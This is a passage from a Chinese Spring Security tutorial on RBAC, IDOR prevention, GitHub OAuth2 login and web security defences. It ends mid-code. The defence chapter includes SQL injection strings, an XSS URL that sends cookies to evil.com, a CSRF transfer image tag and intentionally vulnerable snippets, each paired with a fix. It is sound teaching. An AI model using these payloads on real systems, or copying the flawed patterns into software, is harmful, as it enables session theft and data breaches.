最简单的授权是基于 URL 的粗粒度控制(第 1
章已经用过):

.authorizeHttpRequests(auth -> auth
    .requestMatchers("/api/admin/**").hasRole("ADMIN")   // 只有 ADMIN 能访问
    .anyRequest().authenticated())

但生产系统需要方法级、数据级的细粒度控制,这就引出
RBAC。

4.2 RBAC 模型:用户-角色-权限

RBAC(Role-Based Access
Control,基于角色的访问控制)

是业界最主流的权限模型。它把「权限」从「人」身上剥离出来,抽象成三层:

用户(user) --多对多--> 角色(role) --多对多--> 权限(permission)
  • 用户:登录的人,如 admin、alice。
  • 角色:一组权限的集合,如
    ADMIN(管理员)、USER(普通用户)。角色是「岗位」,不是具体操作。
  • 权限:最小操作单元,如
    user:createuser:deleteorder:update

为什么要多一层「角色」?因为直接给用户挂权限,权限一变就要改每个用户的配置;引入角色后,只需改角色里的权限,所有拥有该角色的用户自动生效。比如公司新来个「运营」角色,有
20 个权限,你只给用户挂一个「运营」角色即可。

对应的五张表(3.2 节已建):

sys_user            sys_role             sys_permission
sys_user_role       sys_role_permission  (两张关联表)

4.3
实体与查询:加载用户的角色和权限

4.3.1 实体 SysRole /
SysPermission

package com.example.demo.entity;

import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;

/**
 * 角色实体,映射 sys_role 表。
 */
@Data
@TableName("sys_role")
public class SysRole {
    @TableId(type = IdType.AUTO)
    private Long id;
    private String roleCode;   // 角色编码,如 ADMIN / USER
    private String roleName;   // 角色展示名
    private String description;
}
package com.example.demo.entity;

import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;

/**
 * 权限实体,映射 sys_permission 表。
 */
@Data
@TableName("sys_permission")
public class SysPermission {
    @TableId(type = IdType.AUTO)
    private Long id;
    private String permCode;   // 权限编码,如 user:delete
    private String permName;   // 权限展示名
    private String description;
}

4.3.2 Mapper:三表联查

用户的角色和权限都在多对多关联里,需要联表查询。这里用
#{} 传参(第 6 章讲为什么不能用 ${}):

// UserMapper 增加两个方法
List<SysRole> selectRolesByUserId(@Param("userId") Long userId);

List<String> selectPermCodesByUserId(@Param("userId") Long userId);
<mapper namespace="com.example.demo.mapper.UserMapper">

    <select id="selectByUsername" resultType="com.example.demo.entity.SysUser">
        SELECT * FROM sys_user WHERE username = #{username}
    </select>

    <!-- 查用户拥有的角色:user -> user_role -> role -->
    <select id="selectRolesByUserId" resultType="com.example.demo.entity.SysRole">
        SELECT r.*
        FROM sys_role r
        JOIN sys_user_role ur ON ur.role_id = r.id
        WHERE ur.user_id = #{userId}
    </select>

    <!-- 查用户拥有的权限编码:user -> user_role -> role_permission -> permission -->
    <select id="selectPermCodesByUserId" resultType="java.lang.String">
        SELECT DISTINCT p.perm_code
        FROM sys_permission p
        JOIN sys_role_permission rp ON rp.permission_id = p.id
        JOIN sys_user_role ur ON ur.role_id = rp.role_id
        WHERE ur.user_id = #{userId}
    </select>

</mapper>

4.4
方法级授权:@EnableMethodSecurity + @PreAuthorize

Spring Security 6 里,方法级安全通过
@EnableMethodSecurity 开启(你已在 1.6 节的
SecurityConfig 上加过)。开启后,就能在 Service
方法上用注解声明「谁能调用」。

@EnableMethodSecurity   // 在 SecurityConfig 上,开启方法级授权

最常用的注解是 @PreAuthorize,它用 SpEL(Spring
表达式语言)
写授权规则:

// 需要 ADMIN 角色
@PreAuthorize("hasRole('ADMIN')")
public void deleteUser(Long id) { ... }

// 需要具体权限(细粒度,比角色更精确)
@PreAuthorize("hasAuthority('user:delete')")
public void deleteUser(Long id) { ... }

// 组合条件:ADMIN 角色 或 拥有 user:delete 权限
@PreAuthorize("hasRole('ADMIN') or hasAuthority('user:delete')")
public void deleteUser(Long id) { ... }

hasRole vs hasAuthority
的区别(易错点)

  • hasRole('ADMIN') 实际检查的 authority 是
    ROLE_ADMIN——Spring 会自动加 ROLE_
    前缀。所以你在 JwtAuthFilter 里构造权限时用了
    new SimpleGrantedAuthority("ROLE_" + role)
  • hasAuthority('user:delete') 检查的 authority 就是
    user:delete不加前缀
  • 混用会踩坑:如果你的 authority 是 ROLE_ADMIN,用
    hasAuthority('ADMIN') 永远匹配不上。

4.4.1 其他方法级注解与 SpEL
速查

@PreAuthorize 之外,Spring Security 6
还提供了两个注解,语义类似但更简洁:

// @Secured:按角色,写法更短,但表达式能力弱(不能写 #id 这种参数判断)
@Secured("ROLE_ADMIN")
public void deleteUser(Long id) { ... }

// @RolesAllowed:JSR-250 标准注解,跨框架通用
@RolesAllowed("ADMIN")
public void deleteUser(Long id) { ... }

三者对比:

注解 表达式能力 是否标准 推荐度
@PreAuthorize 最强(SpEL,支持
#参数authentication
Spring 专有 最推荐
@Secured 弱(只能写角色字符串) Spring 专有 简单场景可用
@RolesAllowed 弱(只能写角色) JSR-250 标准 需跨框架时用

@PreAuthorize 的 SpEL 常用表达式速查:

@PreAuthorize("isAuthenticated()")                          // 已登录即可
@PreAuthorize("hasRole('ADMIN')")                           // 拥有 ADMIN 角色
@PreAuthorize("hasAuthority('user:delete')")                // 拥有具体权限
@PreAuthorize("hasAnyRole('ADMIN','MANAGER')")              // 任一角色
@PreAuthorize("hasAnyAuthority('user:delete','user:update')")
@PreAuthorize("#id == authentication.principal")            // 只能操作自己的数据(防越权)
@PreAuthorize("#user.id == authentication.principal")       // 参数是对象时取属性
@PreAuthorize("hasRole('ADMIN') or #id == authentication.principal")

4.5
防越权(IDOR):方法级授权的核心价值

IDOR(Insecure Direct Object
Reference,不安全的直接对象引用)
,也叫水平越权:攻击者登录后,把请求里的资源
ID 改成别人的,访问或修改不属于自己的数据。

典型场景:

# 用户 A(userId=1)登录后,查询自己的订单
GET /api/orders/1
# 攻击者把 id 改成 2,就能看用户 B 的订单——这就是 IDOR
GET /api/orders/2

只靠前端隐藏按钮防不住:前端只是不渲染「看别人的订单」入口,但接口本身是裸奔的,攻击者直接改
URL 就绕过了。必须在后端做资源归属校验

@PreAuthorize 配合
SpEL,能把「当前登录用户」和「请求里的资源 ID」做比较:

// 关键:principal 就是 JwtAuthFilter 里放进去的 userId(Long)
// #id 是方法参数,authentication.principal 是当前登录用户的 userId
// 两者相等才放行,否则抛 AccessDeniedException
@PreAuthorize("#id == authentication.principal")
public OrderVO getOrderById(Long id) {
    // 只有订单属于当前用户时才会执行到这里
    return orderMapper.selectById(id);
}

SpEL 里能用的对象

表达式 含义
#id 方法参数(参数名 id)
authentication 当前 Authentication 对象
authentication.principal 当前主体(这里就是 userId)
hasRole('ADMIN') / hasAuthority('x') 判断角色 / 权限
principal 也可以直接写 principal 代替
authentication.principal

重要提示authentication.principal
具体是什么,取决于你在 JwtAuthFilter
里放进去什么。本文放的是 Long 类型的
userId,所以 #id == authentication.principal
直接成立。如果你放的是 LoginUser 对象,就要写成
#id == authentication.principal.id

生产实践中更推荐放一个 LoginUser(携带
idusername、角色等完整信息),这样表达式能力更强:

// JwtAuthFilter 变体:principal 放 LoginUser
UsernamePasswordAuthenticationToken authentication =
        new UsernamePasswordAuthenticationToken(loginUser, null, authorities);

// 对应防越权写法
@PreAuthorize("#id == authentication.principal.id")
public OrderVO getOrderById(Long id) { ... }

两种写法都常见,关键是前后一致:过滤器里放什么,表达式就访问什么。

4.6 完整示例:受保护的用户接口

把 RBAC
和防越权落到一个真实接口上。假设「查询用户详情」:管理员能查任何人,普通用户只能查自己。

package com.example.demo.controller;

import com.example.demo.common.ApiResult;
import com.example.demo.common.ErrorCode;
import com.example.demo.entity.SysUser;
import com.example.demo.exception.BizException;
import com.example.demo.mapper.UserMapper;
import lombok.RequiredArgsConstructor;
import org.springframework.security.access.prepost.PreAuthorize;
import org.springframework.web.bind.annotation.*;

/**
 * 受保护的用户接口:演示方法级授权 + 防越权。
 */
@RestController
@RequestMapping("/api/users")
@RequiredArgsConstructor
public class UserController {

    private final UserMapper userMapper;

    /**
     * 查询用户详情。
     * ADMIN 角色可查任何人;普通用户只能查自己(#id == authentication.principal)。
     */
    @GetMapping("/{id}")
    @PreAuthorize("hasRole('ADMIN') or #id == authentication.principal")
    public ApiResult<SysUser> getUser(@PathVariable Long id) {
        SysUser user = userMapper.selectById(id);
        if (user == null) {
            throw new BizException(ErrorCode.USER_NOT_FOUND);
        }
        // 安全:返回前清空密码哈希,避免泄露
        user.setPassword(null);
        return ApiResult.ok(user);
    }

    /**
     * 删除用户:只有拥有 user:delete 权限的人能调用。
     */
    @DeleteMapping("/{id}")
    @PreAuthorize("hasAuthority('user:delete')")
    public ApiResult<Void> deleteUser(@PathVariable Long id) {
        userMapper.deleteById(id);
        return ApiResult.ok();
    }
}

关键点提示@PreAuthorize("hasRole('ADMIN') or #id == authentication.principal")
这条表达式同时覆盖了「垂直授权」(管理员)和「水平授权」(本人)。表达式为
false 时 Spring 抛 AccessDeniedException,被
GlobalExceptionHandler 捕获转成 403 JSON(第 2.3.4
节已处理)。

4.7
把角色真正查出来:登录时加载完整权限

第 3 章登录时 roles 硬编码成了
List.of("USER"),现在用 4.3 节的联查替换:

// AuthServiceImpl.login 里的硬编码替换为真实查询
List<String> roles = userMapper.selectRolesByUserId(loginUser.getId())
        .stream()
        .map(SysRole::getRoleCode)
        .toList();
String token = jwtUtil.generateToken(loginUser.getId(), loginUser.getUsername(), roles);

同时,UserDetailsServiceImpl 里给 LoginUser
的默认 ROLE_USER 也应该换成真实角色:

List<String> roleCodes = userMapper.selectRolesByUserId(user.getId())
        .stream().map(SysRole::getRoleCode).toList();
List<SimpleGrantedAuthority> authorities = roleCodes.stream()
        .map(r -> new SimpleGrantedAuthority("ROLE_" + r))
        .toList();
return new LoginUser(user, authorities);

4.8 授权的层级:从粗到细

生产系统通常三层授权叠加,缺一不可:

层级 手段 例子
URL 级(粗) authorizeHttpRequests /api/admin/** 需要 ADMIN
方法级(中) @PreAuthorize 删用户需要 user:delete
数据级(细) SpEL 资源归属校验 #id == authentication.principal

只有第一层是「进门安检」,第二、三层才是「楼内门禁」。很多越权漏洞就是因为只做了
URL 级控制,没做数据级归属校验。

本章小结

RBAC
用「用户-角色-权限」三层解耦了权限管理;@EnableMethodSecurity
+ @PreAuthorize
把授权下沉到方法级;@PreAuthorize("#id == authentication.principal")
是防水平越权(IDOR)的核心手段,其成立前提是过滤器里把
userId 放进
principal。记住:授权必须三层叠加,后端强制校验,永远不要只信前端。


第 5 章 OAuth2 / 第三方登录

5.1 为什么需要
OAuth2:把「密码」换成「授权」

你自己做账号密码登录,用户要记住你网站的密码。但用户更愿意「用 GitHub
/ 微信 / Google 登录」——不用记新密码,一键登录。

问题来了:你怎么安全地拿到用户的第三方身份,而不让用户把
GitHub 密码告诉你

OAuth2
就是解决这个问题的授权协议。它的核心思想是:用户不把密码交给你的应用,而是授权你的应用以「有限权限」访问他在第三方(授权服务器)上的资源

一个贴切的比喻:住酒店时,你不把家门钥匙给前台,而是给前台一张「限时、限房间」的门禁卡。OAuth2
发的 access token
就是这张门禁卡——权限受限、有时效、可撤销,而不是你的主密码。

5.2 OAuth2 的四个角色

任何 OAuth2 流程都涉及四个角色:

角色 含义 例子(GitHub 登录)
Resource Owner 资源拥有者(用户本人) 要登录的用户
Client 你的应用 你的 Spring Boot 应用
Authorization Server 授权服务器(发 token) GitHub 的授权端点
Resource Server 资源服务器(存用户数据) GitHub 的用户信息 API

5.3 四种授权模式

OAuth2 定义了四种授权模式(Grant Type),适用场景不同,面试常考:

模式 流程 适用场景 安全性
授权码模式(Authorization Code) 重定向到授权页 → 用户同意 → 拿授权码 → 换 token 最常用,有后端的 Web 应用(GitHub/微信登录) 最安全(token 不经过浏览器)
客户端凭证(Client Credentials) 应用直接用 client_id + secret 换 token 服务间调用(机器对机器) 安全,但无用户身份
密码模式(Resource Owner Password) 用户把账号密码给应用,应用拿去换 token 仅限自家第一方应用 已不推荐,密码经过第三方
隐式模式(Implicit) 直接在前端拿 token 纯前端 SPA(无后端) 已废弃,token 暴露在 URL

为什么授权码模式最安全:用户密码只在「用户 ↔︎
授权服务器」之间传输,你的应用全程接触不到用户密码;最终拿到的是授权码,而授权码换
token 时需要 client_secret(只有你的后端有),所以 token
不会暴露给浏览器。

5.4 OIDC:OAuth2
之上的「身份层」

OAuth2
本身是授权协议,它只回答「我能不能访问你的资源」,不回答「你是谁」。但「用
GitHub 登录」需要拿到用户身份信息,这就需要一个额外的身份层。

OIDC(OpenID Connect) 就是在 OAuth2
之上加的身份层。它多返回一个 ID Token(也是 JWT
格式),里面携带用户的身份声明(sub
用户唯一标识、nameemail 等)。简单说:

  • OAuth2 = 授权(发 access token 访问资源)
  • OIDC = OAuth2 + 身份(额外发 ID Token 告诉你用户是谁)

现代「第三方登录」基本都是 OIDC,Spring Security 的
oauth2-client 默认就支持 OIDC。

5.5 接入 GitHub 登录

5.5.1 在 GitHub 注册 OAuth
App

  1. 打开 GitHub → Settings → Developer settings → OAuth Apps → New OAuth
    App。
  2. 填回调地址:http://localhost:8080/login/oauth2/code/github(Spring
    Security 规定的默认回调路径)。
  3. 拿到 Client IDClient Secret

5.5.2 配置文件

spring:
  security:
    oauth2:
      client:
        registration:
          github:
            client-id: ${GITHUB_CLIENT_ID}        # 环境变量注入,不硬编码
            client-secret: ${GITHUB_CLIENT_SECRET}
            scope: read:user,user:email           # 请求的权限范围
        provider:
          github:
            # GitHub 的授权端点和令牌端点(Spring 默认已内置,这里可省略)
            authorization-uri: https://github.com/login/oauth/authorize
            token-uri: https://github.com/login/oauth/access_token
            user-info-uri: https://api.github.com/user

为什么 provider.github 可以省略:Spring
Security 为 GitHub、Google、Facebook
等内置了默认端点配置(CommonOAuth2Provider),你只写
registration 也能跑。这里显式写出是为了让你看懂流程。

5.5.3
授权码模式在 Spring Security 里的自动流程

引入 spring-boot-starter-oauth2-client 后,Spring
Security 自动接管了整个授权码流程,你几乎不用写代码:

① 用户访问受保护接口 → 未登录 → 重定向到 http://localhost:8080/oauth2/authorization/github
② Spring 把用户重定向到 GitHub 授权页 → 用户点击「Authorize」
③ GitHub 回调 /login/oauth2/code/github?code=xxx
④ Spring 用 code + client_secret 向 GitHub 换 access token
⑤ Spring 用 access token 调 user-info-uri 拿用户信息 → 建立登录会话

5.5.4 与我们的 JWT 体系打通

问题来了:前面 4 章我们建的是 JWT 无状态体系,而 OAuth2
登录默认走的是 Session。生产上通常需要把 OAuth2
登录成功后的用户,转成我们自己签发的
JWT
,统一后续接口的认证方式。

做法:自定义一个 OAuth2LoginSuccessHandler,在 GitHub
登录成功后签发 JWT 返回前端:

package com.example.demo.security;

import com.example.demo.entity.SysUser;
import com.example.demo.mapper.UserMapper;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.security.core.Authentication;
import org.springframework.security.oauth2.core.user.OAuth2User;
import org.springframework.security.web.authentication.SimpleUrlAuthenticationSuccessHandler;
import org.springframework.stereotype.Component;

import java.io.IOException;
import java.util.List;

/**
 * OAuth2 登录成功后的处理器:把第三方用户「落地」到本地 sys_user
 * 然后签发我们自己的 JWT,统一后续接口的认证方式。
 */
@Slf4j
@Component
@RequiredArgsConstructor
public class OAuth2LoginSuccessHandler extends SimpleUrlAuthenticationSuccessHandler {

    private final JwtUtil jwtUtil;
    private final UserMapper userMapper;

    @Override
    public void onAuthenticationSuccess(HttpServletRequest request,
                                        HttpServletResponse response,
                                        Authentication authentication) throws IOException {
        // OAuth2User 里是 GitHub 返回的用户信息
        OAuth2User oAuth2User = (OAuth2User) authentication.getPrincipal();
        String githubLogin = oAuth2User.getAttribute("login");   // GitHub 用户名
        String email = oAuth2User.getAttribute("email");

        // 首次登录:把 GitHub 用户在本地建一个账号(密码用随机值,走的是第三方认证,不设密码登录)
        SysUser user = userMapper.selectByUsername(githubLogin);
        if (user == null) {
            user = new SysUser();
            user.setUsername(githubLogin);
            user.setPassword("{noop}oauth2");   // 占位:该用户不通过密码登录
            user.setNickname(githubLogin);
            user.setEmail(email);
            user.setStatus(1);
            userMapper.insert(user);
        }

        // 签发我们自己的 JWT,返回给前端(后续请求走 JwtAuthFilter)
        List<String> roles = List.of("USER");
        String token = jwtUtil.generateToken(user.getId(), user.getUsername(), roles);

        // 返回 JSON 给前端(生产环境通常跳转到一个带 token 的回调页)
        response.setContentType("application/json;charset=UTF-8");
        response.getWriter().write("{"token":"" + token + ""}");
        log.info("OAuth2 登录成功: {}", githubLogin);
    }
}

关键点提示{noop}oauth2 是 Spring
Security 的「密码存储格式前缀」,{noop}
表示「不编码」。这种第三方账号本来就不走密码登录,密码列随便存个占位即可;但如果你要给第三方用户补设密码,务必走
passwordEncoder.encode()。不要在生产里给普通密码用
{noop}

5.5.5 配置 SecurityConfig
支持 OAuth2

在过滤器链里放行 OAuth2 相关端点,并注册成功处理器:

http
    .oauth2Login(oauth2 -> oauth2
        .successHandler(oAuth2LoginSuccessHandler)   // 登录成功后签发 JWT
    )
    .authorizeHttpRequests(auth -> auth
        .requestMatchers("/api/auth/**", "/oauth2/**", "/login/**").permitAll()
        .anyRequest().authenticated());

5.5.6 授权码模式完整时序(7
步)

授权码模式(Authorization Code)是「最常用也最安全」的模式,把这 7
步背下来,面试和排查问题都用得上:

① 用户在你的网站点「用 GitHub 登录」
     浏览器跳转 → https://github.com/login/oauth/authorize
                  ?client_id=你的ClientID
                  &redirect_uri=http://localhost:8080/login/oauth2/code/github
                  &scope=read:user,user:email
                  &state=随机串(防 CSRF)

② GitHub 展示授权页,用户点「Authorize」

③ GitHub 用 302 重定向把浏览器带回你的 redirect_uri,附带授权码:
      http://localhost:8080/login/oauth2/code/github?code=临时授权码&state=随机串

④ 你的后端校验 state(防 CSRF,见 5.5.8),
      然后拿 code + client_id + client_secret 调 GitHub 的 token 端点(后端直连):
      POST https://github.com/login/oauth/access_token
           {code, client_id, client_secret}

⑤ GitHub 返回 access_token(可选 refresh_token)

⑥ 你的后端拿 access_token 调 user-info 端点(后端直连):
      GET https://api.github.com/user
      Authorization: Bearer <access_token>
      → 返回用户信息(login / email / id)

⑦ 你的后端把用户信息「落地」成自己的账号,签发自己的 JWT 返回前端

为什么这 7 步安全:授权码(第 3
步)本身不能直接访问资源,它只是一个「一次性兑换券」,且兑换(第 4
步)需要 client_secret——而 client_secret
只存在你的后端,浏览器和攻击者都拿不到。所以即使授权码在 URL
里被泄露,没有 client_secret 也换不到 token。

5.5.7 access token 与 ID
token 的区别

这是 OAuth2 和 OIDC 混用时的易混点:

token 用途 格式 面向谁
access token 授权:访问资源服务器(如调 GitHub API) 不透明字符串(对客户端) 资源服务器
ID token 身份:告诉客户端「用户是谁」 JWT 客户端(你的应用)
  • access token
    回答「我能访问什么」,不保证携带用户身份信息,也不应该被客户端解析其内容(对客户端是不透明的)。
  • ID token(OIDC 引入)回答「用户是谁」,是 JWT
    格式,包含 sub(用户唯一
    id)、nameemail
    等声明,供你的应用读取身份。

OAuth2User(你在 5.5.4 节 getPrincipal()
拿到的)就是 Spring Security 把 user-info
端点的响应封装后的结果,本质上等价于 ID token 里的身份信息。

5.5.8 OAuth2 接入常见坑

坑 / 现象 原因 解决方案
回调报 redirect_uri_mismatch 授权服务器登记的回调地址和请求里的 redirect_uri
不完全一致(多了/少了斜杠、端口、协议)
在 GitHub OAuth App 里精确填写
http://localhost:8080/login/oauth2/code/github
登录后拿不到邮箱 scope 没请求 user:email scope: read:user,user:email
授权码被第三方冒用 没校验 state 参数(授权码 CSRF 攻击) Spring Security 默认自动生成并校验
state,不要自己关掉
生产环境回调还是 localhost redirect_uri 用了本地地址 生产改成
https://你的域名/login/oauth2/code/github,并在授权服务器同步更新
client-secret 泄露 写死在代码/前端 环境变量注入,前端永远不要持有 client_secret

5.6 OAuth2 vs 自家
JWT:如何选型

场景 推荐
内部系统,用户都在自己的库 自家账号 + JWT(第 2、3 章)
面向开发者 / 开源社区 接 GitHub / Google 登录
面向国内 C 端用户 微信 / 支付宝登录
多个微服务间互相调用 OAuth2 客户端凭证模式 / mTLS

本章小结

OAuth2
是「授权」协议,让用户无需交出密码就能授权第三方访问资源;四种模式里授权码模式最常用也最安全;OIDC
在 OAuth2 上补了身份层。接入 GitHub 登录时,Spring Security
自动跑完授权码流程,你只需在成功处理器里把第三方用户「落地」成自己的账号并签发
JWT,就能和前面的无状态体系打通。


第 6 章 Web 安全防护

前面几章都在「建设」认证授权体系,这一章反过来——站在攻击者的角度,看你的系统有哪些漏洞,怎么堵。OWASP
Top 10 是全球最权威的 Web
漏洞榜单,本文挑其中与后端开发最相关的六类逐条讲透。

6.1 SQL 注入:#{}
vs ${}(MyBatis 必须掌握)

SQL 注入(SQL Injection)
是历史最悠久、危害最大的漏洞之一:攻击者把恶意 SQL
片段拼进你的查询语句,从而绕过登录、拖库、删表。

6.1.1 攻击原理

假设你写登录查询时愚蠢地用了字符串拼接:

<!-- 危险:${} 是字符串拼接,会被注入 -->
<select id="selectByUsername" resultType="com.example.demo.entity.SysUser">
    SELECT * FROM sys_user WHERE username = '${username}'
</select>

攻击者提交 username = ' OR '1'='1,拼接后变成:

SELECT * FROM sys_user WHERE username = '' OR '1'='1'

'1'='1' 恒为真,WHERE
条件被绕过,返回全表所有用户。更狠的还能
'; DROP TABLE sys_user; -- 直接删表。

6.1.2 为什么 #{}
能防注入

MyBatis 的 #{} 走的是 JDBC
预编译(PreparedStatement)
:SQL 结构先发给数据库编译,参数用
? 占位,之后作为「数据」绑定进去,而不是作为「SQL
代码」执行

<!-- 安全:#{} 预编译,参数作为数据绑定,不是 SQL 片段 -->
<select id="selectByUsername" resultType="com.example.demo.entity.SysUser">
    SELECT * FROM sys_user WHERE username = #{username}
</select>

上面这条最终执行的是:

SELECT * FROM sys_user WHERE username = ?   -- 参数值 " ' OR '1'='1 " 作为纯字符串绑定

即使参数里带
' OR '1'='1,它也只是被当作「用户名字符串」去匹配,永远不可能改变
SQL 结构。

6.1.3 对照总结

写法 机制 安全性 适用场景
#{param} 预编译占位 ?,参数作为数据绑定 安全 所有动态值(用户名、id、条件值)
${param} 字符串直接拼接进 SQL 危险 仅限无法预编译的 SQL
结构
(表名、字段名、ORDER BY
列名),且必须白名单校验
<!-- ${} 的正确用法:动态排序字段,但必须白名单校验 -->
<select id="selectByOrder" resultType="...">
    SELECT * FROM sys_user ORDER BY ${orderColumn}
</select>
// 白名单校验:orderColumn 只允许这几个值,否则拒绝
private static final Set<String> ALLOWED_COLUMNS = Set.of("id", "username", "created_at");

public List<SysUser> selectByOrder(String orderColumn) {
    if (!ALLOWED_COLUMNS.contains(orderColumn)) {
        throw new BizException(ErrorCode.PARAM_ERROR.getCode(), "非法的排序字段");
    }
    return mapper.selectByOrder(orderColumn);
}

铁律动态值一律用
#{}
${} 只用于表名、字段名等「SQL
结构」而非「数据值」的场景,且必须配合白名单校验。任何未经校验的用户输入拼进
${},都是注入漏洞。

6.2 XSS:跨站脚本

XSS(Cross-Site
Scripting,跨站脚本)
:攻击者在你的页面里注入恶意脚本,当其他用户浏览时脚本执行,从而窃取
Cookie、劫持会话、钓鱼。

XSS 分三类:

类型 注入点 例子
存储型(危害最大) 存进数据库,再渲染给所有人 用户在昵称里存
<script>...</script>,别人看用户列表时执行
反射型 拼接在 URL 参数里,服务端原样回显 ?msg=<script>...</script>
DOM 型 纯前端拼接 前端 innerHTML 拼接未过滤数据

防护三道闸

  1. 输入过滤:入参校验,拒绝或转义危险字符(<>&"')。
  2. 输出转义:任何「用户输入 → HTML
    输出」的地方都转义。JSON API 本身不渲染 HTML,存储型 XSS
    的最终渲染点通常在前端,但后端要保证「原样存储、不二次加工」,前端渲染时转义。
  3. CSP 响应头:Content-Security-Policy
    限制浏览器只加载可信来源的脚本。
// 输出转义:如果服务端确实要拼 HTML(如富文本预览),必须转义
import org.springframework.web.util.HtmlUtils;

String safe = HtmlUtils.htmlEscape(userInput);
// 输入 "<script>alert(1)</script>" 变成 "&lt;script&gt;alert(1)&lt;/script&gt;"
// 加 CSP 头(在 SecurityConfig 或统一响应里)
response.setHeader("Content-Security-Policy",
        "default-src 'self'; script-src 'self'; style-src 'self'");

反射型 XSS 攻击演示

假设你写了一个「搜索回显」接口,把用户输入原样拼进 HTML 返回:

// 危险:用户输入原样拼进 HTML,会触发反射型 XSS
@GetMapping("/search")
public String search(@RequestParam String q) {
    return "<html><body>搜索词:" + q + "</body></html>";
}

攻击者诱导用户访问:

http://localhost:8080/search?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>

用户浏览器执行这段脚本,把 Cookie 发给攻击者的服务器。防护:输出时用
HtmlUtils.htmlEscape(q) 转义,<script>
会被转成
&lt;script&gt;,浏览器只会把它当普通文本显示,不会执行。

关键认知:后端接口返回 JSON,XSS
的「执行」发生在前端渲染时。所以后端要做的核心是:存什么返回什么,不信任任何入参,配合入参校验
+ 输出转义 + CSP
。不要在后端做「删掉所有
<script>」式的粗暴过滤——那既不可靠(绕过方式很多),也破坏正常数据。

6.3 CSRF:跨站请求伪造

CSRF(Cross-Site Request
Forgery)
:攻击者诱导已登录用户访问一个恶意页面,该页面偷偷向你的站点发请求,借用户已登录的身份执行操作。

经典场景:用户登录了银行网站(Cookie
里存着会话),又打开了攻击者发的邮件里的恶意页面,页面里藏了:

<img src="http://bank.com/transfer?to=hacker&amount=10000">

浏览器加载这张图时,会自动带上银行网站的
Cookie
,银行以为是用户本人操作,就把钱转了。

6.3.1 传统防护:CSRF Token

传统 Session 应用里,服务端给每个表单发一个随机 CSRF
Token,提交时校验。恶意页面拿不到这个
Token(同源策略阻止跨域读取),所以伪造的请求过不了校验。

// 传统 Cookie 会话应用的 CSRF 防护:默认开启,无需手写
// 表单里带上 Spring 自动注入的隐藏 token
http.csrf(csrf -> csrf
    .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())  // 存 Cookie,前端可读
);
<!-- 前端每个写操作(POST/PUT/DELETE)都要带上这个 token -->
<input type="hidden" name="_csrf" th:value="${_csrf.token}" />

核心原理:CSRF 攻击的本质是「浏览器自动带上
Cookie」,而攻击者无法读取目标站点的
Cookie(同源策略),也就拿不到 CSRF Token。服务端校验「请求里的 Token ==
会话里的 Token」,伪造的请求因缺 Token 被拒绝。

6.3.2 为什么前后端分离
+ JWT 天然免疫 CSRF

我们这套体系里,JWT 存在前端,每次请求通过
Authorization: Bearer <token>
请求头
携带,而不是
Cookie。攻击者的恶意页面无法设置这个自定义请求头

  1. 跨域请求默认不能带自定义头(除非目标站点的 CORS
    显式允许,且攻击者拿不到 token 值)。
  2. Token 不随浏览器请求自动发送,攻击者无法「借」到。

所以第 1 章配置里的 .csrf(csrf -> csrf.disable())
是安全的——前提是你确实用 Authorization 头传 JWT、不用 Cookie
会话
。如果你改回 Cookie 存会话,就必须重新开启 CSRF 防护。

// 安全的理由:JWT 通过 Authorization 头传递,不依赖 Cookie,攻击者无法伪造请求头
http.csrf(csrf -> csrf.disable());

6.4 CORS 配置过宽

CORS(Cross-Origin Resource
Sharing,跨域资源共享)
:浏览器出于安全,默认禁止跨域请求(同源策略)。前后端分离时,前端(如
localhost:3000)要调后端(localhost:8080),就需要后端允许跨域。

问题出在「配得太宽」:

// 危险:允许任意来源 + 允许携带凭证
config.setAllowedOrigins(List.of("*"));   // ❌ 任意域名都能访问
config.setAllowCredentials(true);         // ❌ 配合 * 极其危险

为什么危险*
意味着任何网站都能用浏览器请求你的接口。如果用户浏览器里正好登录了你的站点,恶意网站就能借浏览器发起跨域请求。*
+ allowCredentials(true)
组合更是明确禁止的(浏览器会拒绝,因为等于把登录态暴露给所有域名)。

正确配置:明确来源白名单,凭证只在需要时开:

package com.example.demo.config;

import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.cors.CorsConfiguration;
import org.springframework.web.cors.CorsConfigurationSource;
import org.springframework.web.cors.UrlBasedCorsConfigurationSource;

import java.util.List;

/**
 * CORS 配置:明确来源白名单,禁止 * + 凭证。
 */
@Configuration
public class CorsConfig {

    @Bean
    public CorsConfigurationSource corsConfigurationSource() {
        CorsConfiguration config = new CorsConfiguration();
        // 白名单:只允许这些来源,禁止 *
        config.setAllowedOrigins(List.of("http://localhost:3000", "https://your-frontend.com"));
        // 允许的请求方法
        config.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "OPTIONS"));
        // 允许的请求头(Authorization 必须显式允许,否则 JWT 传不过去)
        config.setAllowedHeaders(List.of("Authorization", "Content-Type"));
        // JWT 走 Authorization 头,无需 Cookie,凭证设为 false 更安全
        config.setAllowCredentials(false);
        config.setMaxAge(3600L);

        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        source.registerCorsConfiguration("/**", config);
        return source;
    }
}

关键点提示allowedHeaders
里必须显式包含 Authorization,否则前端跨域请求带 JWT 头会被
CORS 拦截。很多「跨域后登录失效」的问题就是这个原因。

6.5 暴力破解

暴力破解(Brute
Force)
:攻击者对登录接口反复尝试密码(撞库 /
字典攻击)。因为登录接口是公开放行的,攻击者可以无限重试。

防护手段(按强度递增)

  1. 登录限流:同一账号 / 同一 IP,短时间内失败 N
    次就锁定一段时间。
  2. 验证码:失败几次后要求输验证码,阻止自动化脚本。
  3. 账号锁定:连续失败 5 次锁定 15 分钟。
  4. 慢哈希:BCrypt
    本身故意很慢,天然拖慢暴力破解速度(2.2 节已讲)。

下面给一个基于 Redis 的登录失败计数 + 锁定实现:

package com.example.demo.security;

import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.data.redis.core.StringRedisTemplate;
import org.springframework.stereotype.Service;

import java.time.Duration;

/**
